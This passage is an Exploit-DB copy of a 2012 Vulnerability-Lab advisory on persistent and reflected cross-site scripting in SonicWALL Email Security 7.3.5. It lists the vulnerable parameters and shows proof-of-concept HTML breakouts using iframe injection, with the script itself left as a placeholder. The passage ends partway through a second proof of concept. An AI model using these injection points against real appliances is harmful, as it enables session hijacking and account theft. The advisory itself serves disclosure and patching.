Exploit-DB #21394
Description: SonicWALL email security 7.3.5 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2012-09-19
Author: Vulnerability-Lab

Exploit:
Title:
======
SonicWALL EMail Security 7.3.5 - Multiple Vulnerabilities


Date:
=====
2012-08-14


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=543


VL-ID:
=====
543


Common Vulnerability Scoring System:
====================================
3.5


Introduction:
=============
While most businesses now have some type of anti-spam protection, many must deal with cumbersome 
management, frustrated users, inflexible solutions, and a higher-than-expected total cost of ownership. 
SonicWALL® Email Security can help. Elegantly simple to deploy, manage and use, award-winning SonicWALL 
Email Security solutions employ a variety of proven and patented technology designed to block spam and 
other threats effectively, easily and economically. With innovative protection techniques for both 
inbound and outbound email plus unique management tools, the Email Security platform delivers superior 
email protection today—while standing ready to stop the new attacks of tomorrow.

SonicWALL Email Security can be flexibly deployed as a SonicWALL Email Security Appliance, as a software 
application on a third party Windows® server, or as a SonicWALL Email Security Virtual Appliance in a 
VMW® environment. The SonicWALL Email Security Virtual Appliance provides the same powerful protection as a 
traditional SonicWALL Email Security appliance, only in a virtual form, to optimize utilization, 
ease migration and reduce capital costs.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/products/Anti-Spam_Email_Security.html)


Abstract:
=========
Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.


Report-Timeline:
================
2012-05-02:	Researcher Notification & Coordination
2012-05-03:	Vendor Notification
2012-05-10:	Vendor Response/Feedback
2012-08-14:	Public or Non-Public Disclosure (90 Days passed)
2012-09-17:	Vendor Fix/Patch 


Status:
========
Published


Affected Products:
==================
SonicWall
Product: AntiSpam & EMail Security Appliance Application v7.3.5.6379


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.
The vulnerability allows an remote attacker or local low privileged user account to inject/implement malicious persistent script 
code on application side of the email security appliance application. The vulnerabilities are located on the Compliance & Virus 
protection procedures module when processing to load unsanitized inputs as output listing of a configuration. Vulnerable values are 
floodMsgThreshold, zombieNoOfQuarantine, zombieNoOfMessageFromOneUser, safeModeNoOfQuarantine, safeModeNoOfMessageFromOneUser,
zombieAllowEmailAddrs & floodMsgThresholdShadow. Successful exploitation of the vulnerability result in session hijacking, 
persistent phishing requests & stable persistent module context manipulation.


Vulnerable Module(s):
				[+] Virenschutzverfahren
				[-] Ausgehend (Outgoing) - Listing & Exceptions

				[+] Compliance Module
				[-] Approval Ordner > Add new Approval Folder 


1.2
Multiple client side cross site scripting vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.
The vulnerability allows an remote attacker to manipulate client side appliance requests with medium required user inter action.
Successful exploitation results in sessio hijacking, account steal, client side phishing requests or manipulated context 
exection on client side requests. The vulnerabilities are located on the `from`- & `row` page listing values. Successful exploitation 
of the vulnerability result in client side session hijacking, non-persistent phishing requests & non-persistent module context manipulation.


Vulnerable Module(s):
				[+] Listing Page (?from & ?row) 


Proof of Concept:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged user accounts. 
For demonstration or reproduce ...

PoC: Ausgehend (Outgoing) - Listing & Exceptions

<input disabled="disabled" id="floodMsgThreshold" name="floodMsgThreshold" value="" 
type="hidden"><iframe src="virus_config-Dateien/a.htm" [EXECUTE/INJECT PERSISTENT CODE!]' <"="">
    <input type="hidden" id="floodInterval" name="floodInterval" 
value="1"/>

... or

<input type="text" 
name="zombieNoOfQuarantine" size="3" 
value=""><iframe src=a 
[EXECUTE/INJECT PERSISTENT CODE!]") <" 
id="zombieNoOfQuarantine">


... or

amp;lt;input type="text" 
name="zombieNoOfMessageFromOneUser" size="3" 
value=""><iframe src=a 
[EXECUTE/INJECT PERSISTENT CODE!]") <" 
id="zombieNoOfMessageFromOneUser">


... or 

<input type="text" 
name="safeModeNoOfQuarantine" size="3" 
value=""><iframe src=a 
[EXECUTE/INJECT PERSISTENT CODE!]") <" 
id="safeModeNoOfQuarantine">

... or

<input type="text" 
name="safeModeNoOfMessageFromOneUser" size="3" 
value=""><iframe src=a 
[EXECUTE/INJECT PERSISTENT CODE!]") <" 
id="safeModeNoOfMessageFromOneUser">


URL: 	http://esserver.127.0.0.1:8080/virus_config.html




PoC: Compliance Module  -> Approval Ordner - Listing & Exceptions

<tbody><tr><td background="policy_approval_box_summary-Dateien/nav_bar_background.gif" width="24">
<img src="policy_approval_box_summary-Dateien/clear.gif" height="15" width="4"></td><td border="0" 
background="policy_approval_box_summary-Dateien/nav_bar_background.gif"><span class="column">Approval-
Ordner</span></td><td border="0" background="policy_approval_box_summary-Dateien/nav_bar_background.gif">
<span class="column">Nachrichten, die eine Genehmigung erfordern</span></td><td background="policy_appr